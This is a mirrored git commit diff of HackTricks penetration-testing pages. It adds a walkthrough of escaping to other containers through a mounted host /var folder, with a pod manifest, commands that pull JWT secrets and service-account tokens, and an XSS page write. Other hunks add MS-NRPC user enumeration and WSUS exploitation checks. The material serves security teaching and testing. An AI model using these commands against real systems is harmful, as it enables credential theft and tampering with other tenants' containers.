mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into master
This commit is contained in:
commit
cfecc9be13
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
|
||||
The exposure of `/proc`, `/sys`, and `/var` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
|
||||
|
||||
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -165,6 +165,110 @@ This directory permits access to modify kernel variables, usually via `sysctl(2)
|
||||
- `debugfs` offers a "no rules" debugging interface to the kernel.
|
||||
- History of security issues due to its unrestricted nature.
|
||||
|
||||
### `/var` Vulnerabilities
|
||||
|
||||
The host's **/var** folder contains container runtime sockets and the containers' filesystems.
|
||||
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
|
||||
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
|
||||
containers and applications that run in them.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
If a container like this is deployed with Kubernetes:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
|
||||
|
||||
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
|
||||
JWT_SECRET=85d<SNIP>a0
|
||||
REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
|
||||
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
|
||||
The XSS was achieved:
|
||||
|
||||

|
||||
|
||||
Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.
|
||||
|
||||
You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
|
||||
|
||||
##### Access to cloud credentials
|
||||
|
||||
The container can read K8s serviceaccount tokens or AWS webidentity tokens
|
||||
which allows the container to gain unauthorized access to K8s or cloud:
|
||||
|
||||
```bash
|
||||
/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
|
||||
#### Docker
|
||||
|
||||
The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
|
||||
the other containers' filesystems are available under a different base path:
|
||||
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
```
|
||||
|
||||
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
#### Note
|
||||
|
||||
The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
|
||||
locate the other containers' filesystems
|
||||
|
||||
|
||||
|
||||
### References
|
||||
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
|
@ -78,6 +78,7 @@ If you just have access to an AD environment but you don't have any credentials/
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
|
||||
- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
|
||||
- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
@ -88,6 +89,7 @@ Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain
|
||||
msf> use auxiliary/gather/kerberos_enumusers
|
||||
|
||||
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
|
||||
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
|
||||
```
|
||||
|
||||
- **OWA (Outlook Web Access) Server**
|
||||
|
@ -49,12 +49,12 @@ After the creation of BloodHound CE, the entire project was updated for ease of
|
||||
1. Install Docker Compose. This should be included with the [Docker Desktop](https://www.docker.com/products/docker-desktop/) installation.
|
||||
2. Run:
|
||||
|
||||
```
|
||||
```bash
|
||||
curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
```
|
||||
|
||||
3. Locate the randomly generated password in the terminal output of Docker Compose.
|
||||
4. In a browser, navigate to http://localhost:8080/ui/login. Login with a username of admin and the randomly generated password from the logs.
|
||||
4. In a browser, navigate to http://localhost:8080/ui/login. Login with the username **`admin`** and a **`randomly generated password`** you can find in the logs of docker compose.
|
||||
|
||||
After this you will need to change the randomly generated password and you will have the new interface ready, from which you can directly download the ingestors.
|
||||
|
||||
|
@ -174,20 +174,34 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
|
||||
You can compromise the system if the updates are not requested using http**S** but http.
|
||||
|
||||
You start by checking if the network uses a non-SSL WSUS update by running the following:
|
||||
You start by checking if the network uses a non-SSL WSUS update by running the following in cmd:
|
||||
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
|
||||
If you get a reply such as:
|
||||
Or the following in PowerShell:
|
||||
|
||||
```
|
||||
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
|
||||
```
|
||||
|
||||
If you get a reply such as one of these:
|
||||
|
||||
```bash
|
||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
```bash
|
||||
WUServer : http://xxxx-updxx.corp.internal.com:8530
|
||||
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
|
||||
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
|
||||
PSChildName : windowsupdate
|
||||
PSDrive : HKLM
|
||||
PSProvider : Microsoft.PowerShell.Core\Registry
|
||||
```
|
||||
|
||||
And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` is equals to `1`.
|
||||
And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`.
|
||||
|
||||
Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored.
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user